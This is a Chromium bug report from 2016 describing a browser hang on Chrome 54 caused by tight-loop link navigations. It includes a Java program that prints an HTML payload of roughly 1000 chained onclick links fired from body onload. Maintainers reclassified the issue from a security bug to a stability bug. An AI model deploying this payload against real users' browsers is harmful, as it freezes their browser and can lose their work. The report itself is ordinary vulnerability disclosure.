Hang Chrome by performing navigations in a tight loop
Reported by
cs.anura...@gmail.com,
Oct 19 2016
|
||
Issue description
What went wrong:
Chrome prevent memory and cpu usage by allowing 42-43 calls if any resource tries to make recursive calls and afterwards it throws maximum call stack size exceeded.
This can be bypassed by making multiple origin points for recursive call.
VULNERABILITY DETAILS
1) Open a.html
2) Your full browser will freeze and you wont be able to perform any action on chrome until you kill the browser using task manager
What I did:
I created multiple origin points for recursive calls using javascript in body onload. Each origin point can now make 42 recursive call.
In this I made 5000 origin points so I made almost like 210k calls from single tab which freeze entire chrome.
The impact will increase on increasing the origin points, though i saw that chrome starts working when you increase origin point to 420k calls.
VERSION
Chrome Version: Version 54.0.2840.59
Operating System: Windows10
Sample Java Program to create the payload (Copy the output in html file and open the html file to see the exploit):
public static void linkGenerator()
{
System.out.print("<body onload=\"");
for(int j=0;j<1000;j++){
System.out.print("document.getElementById('myLink"+j+"').click();");
}
System.out.print("\">");
System.out.println("\n<a id=\"myLink\" onclick=\"document.getElementById('myLink0').click();\" href=\"http://fb.com\">Click Me</a>");
for(int i=0;i<1000;i++)
{
String html="<a id=\"myLink"+i+"\" onclick=\"document.getElementById('myLink"+(i+1)+"').click();\" href=\"http://twitter.com\"><script></script>Click Me</a>";
System.out.println(html);
}
}
Resolution:
If a tab is consuming too much memory and cpu then chrome must either kill it or show a user friendly message (I see that message on videos or ambiguious js but in mine case it did not come)
Attached : a.html containing the payload (Make sure that you have not opened any important tabs)
,
Oct 20 2017
Issue has not been modified or commented on in the last 365 days, please re-open or file a new bug if this is still an issue. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
||
►
Sign in to add a comment |
||
Comment 1 by elawrence@chromium.org
, Oct 19 2016Labels: -Type-Bug-Security -Restrict-View-SecurityTeam Stability-Hang Type-Bug
Summary: Hang Chrome by performing navigations in a tight loop (was: Security: Chrome Client Browser Denial of Service)